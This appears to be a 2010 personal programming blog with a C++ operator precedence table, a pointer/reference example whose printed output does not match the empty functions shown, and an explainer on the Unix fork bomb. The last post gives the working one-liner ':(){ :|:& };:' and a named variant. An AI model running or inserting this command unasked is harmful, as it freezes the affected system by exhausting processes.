Sunday, May 23, 2010

Operators precedence


Precedence Operator Description Example Overloadable Associativity
1 :: Scope resolution operator Class::age = 2; no left to right
2 () Function call printf(“Hello world\n”); yes left to right
() Member initalization c_tor(int x, int y) : _x(x), _y(y * 10) {} yes
[] Array access array[4] = 2; yes
-> Member access from a pointer ptr->age = 34; yes
. Member access from an object obj.age = 34; no
++ Post-increment for (int i = 0; i < 10; i++) cout << i; yes
-- Post-decrement for (int i = 10; i > 0; i--) cout << i; yes
dynamic_cast Runtime-checked type conversion Y& y = dynamic_cast<Y&>(x); no
static_cast Unchecked type conversion Y& y = static_cast<Y&>(x); no
reinterpret_cast Reinterpreting type conversion int const* p = reinterpret_cast<int const*>(0x1234); no
const_cast Cast away/Add constness int* q = const_cast<int*>(p); no
typeid Get type information std::type_info const& t = typeid(x); no
3 ! Logical negation if (!done) ... yes right to left
not Alternate spelling for !
~ Bitwise complement flags = ~flags; yes
compl Alternate spelling for ~
++ Pre-increment for (i = 0; i < 10; ++i) cout << i; yes
-- Pre-decrement for (i = 10; i > 0; --i) cout << i; yes
- Unary minus int i = -1; yes
+ Unary plus int i = +1; yes
* Dereference int data = *intPtr; yes
& Address of int *intPtr = &data; yes
sizeof Size (of the type) of the operand in bytes size_t s = sizeof(int); no
new Dynamic memory allocation long* pVar = new long; yes
new [] Dynamic memory allocation of array long* array = new long[20]; yes
delete Deallocating the memory delete pVar; yes
delete [] Deallocating the memory of array delete [] array; yes
(type) Cast to a given type int i = (int)floatNum; yes
4 ->* Member pointer selector ptr->*var = 24; yes left to right
.* Member object selector obj.*var = 24; no
5 * Multiplication int i = 2 * 4; yes left to right
/ Division float f = 10.0 / 3.0; yes
% Modulus int rem = 4 % 3; yes
6 + Addition int i = 2 + 3; yes left to right
- Subtraction int i = 5 - 1; yes
7 << Bitwise shift left int flags = 33 << 1; yes left to right
>> Bitwise shift right int flags = 33 >> 1; yes
8 < Comparison less-than if (i < 42) ... yes left to right
<= Comparison less-than-or-equal-to if (i <= 42) ... yes
> Comparison greater-than if (i > 42) ... yes
>= Comparison greater-than-or-equal-to if (i >= 42) ... yes
9 == Comparison equal-to if (i == 42) ... yes left to right
eq Alternate spelling for ==
!= Comparison not-equal-to if (i != 42) ... yes
not_eq Alternate spelling for !=
10 & Bitwise AND flags = flags & 42; yes left to right
bitand Alternate spelling for &
11 ^ Bitwise exclusive OR (XOR) flags = flags ^ 42; yes left to right
xor Alternate spelling for ^
12 | Bitwise inclusive (normal) OR flags = flags | 42; yes left to right
bitor Alternate spelling for |
13 && Logical AND if (conditionA && conditionB) ... yes left to right
and Alternate spelling for &&
14 || Logical OR if (conditionA || conditionB) ... yes left to right
or Alternate spelling for ||
15 ? : Ternary conditional (if-then-else) int i = a > b ? a : b; no right to left
16 = Assignment operator int a = b; yes right to left
+= Increment and assign a += 3; yes
-= Decrement and assign b -= 4; yes
*= Multiply and assign a *= 5; yes
/= Divide and assign a /= 2; yes
%= Modulo and assign a %= 3; yes
&= Bitwise AND and assign flags &= new_flags; yes
and_eq Alternate spelling for &=
^= Bitwise exclusive or (XOR) and assign flags ^= new_flags; yes
xor_eq Alternate spelling for ^=
|= Bitwise normal OR and assign flags |= new_flags; yes
or_eq Alternate spelling for |=
<<= Bitwise shift left and assign flags <<= 2; yes
>>= Bitwise shift right and assign flags >>= 2; yes
17 throw throw exception throw EClass(“Message”); no
18 , Sequential evaluation operator for (i = 0, j = 0; i < 10; i++, j++) ... yes left to right

Saturday, May 22, 2010

Function arguments using pointer and reference

void fun_pointer(int *a);
void fun_reference(int &a);

int main()
{
    int *a;
    int b = 5;
    
    a = &b;
    
    //Pointer->Pointer
    fun_pointer(a);

    //NormalObj->Pointer
    fun_pointer(&b);

    //Pointer->Reference   
    fun_reference(*a);
    
    //NormalObj->Reference
    fun_reference(b);
  
    getch();
}

void fun_pointer(int *a)
{}

void fun_reference(int &a)
{}

// Output
main:pointer  :value  :5
main:pointer  :address:0x22ff40
main:reference:value  :5
main:reference:address:0x22ff40

Pointer->Pointer
fun_pointer:value  :5
fun_pointer:address:0x22ff40

NormalObj->Pointer
fun_pointer:value  :5
fun_pointer:address:0x22ff40

Pointer->Reference
fun_reference:value  :5
fun_reference:address:0x22ff40

NormalObj->Reference
fun_reference:value  :5
fun_reference:address:0x22ff40

Fork bomb

A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer's operating system. If the process table becomes saturated, no new programs may start until another process terminates. Even if that happens, it is not likely that a useful program may be started since the instances of the bomb program will each attempt to take any newly-available slot themselves.

In addition to using space in the process table, each child process of a fork bomb uses further processor-time and memory. As a result of this, the system and existing programs slow down and become much more unresponsive and difficult or even impossible to use.
 
The following code provides arguably one of the most elegant examples of a fork bomb. The user executes the fork bomb by pasting the following 11 characters into a UNIX shell such as bash or zsh. 

:(){ :|:& };:

Understanding the above:

:()      # define ':' -- whenever we say ':', do this:
{        # beginning of what to do when we say ':'
    :    # load another copy of the ':' function into memory...
    |    # ...and pipe its output to...
    :    # ...another copy of ':' function, which has to be loaded into memory
         # (therefore, ':|:' simply gets two copies of ':' loaded whenever ':' is called)
    &    # disown the functions -- if the first ':' is killed,
         #     all of the functions that it has started should NOT be auto-killed
}        # end of what to do when we say ':'
;        # Having defined ':', we should now...
:        # ...call ':', initiating a chain-reaction: each ':' will start two more.


To keep it simple,
forkbomb(){ forkbomb|forkbomb & } ; forkbomb

OperationFork->init();

Planning to blog the tech things I come across. Well, here's a start!!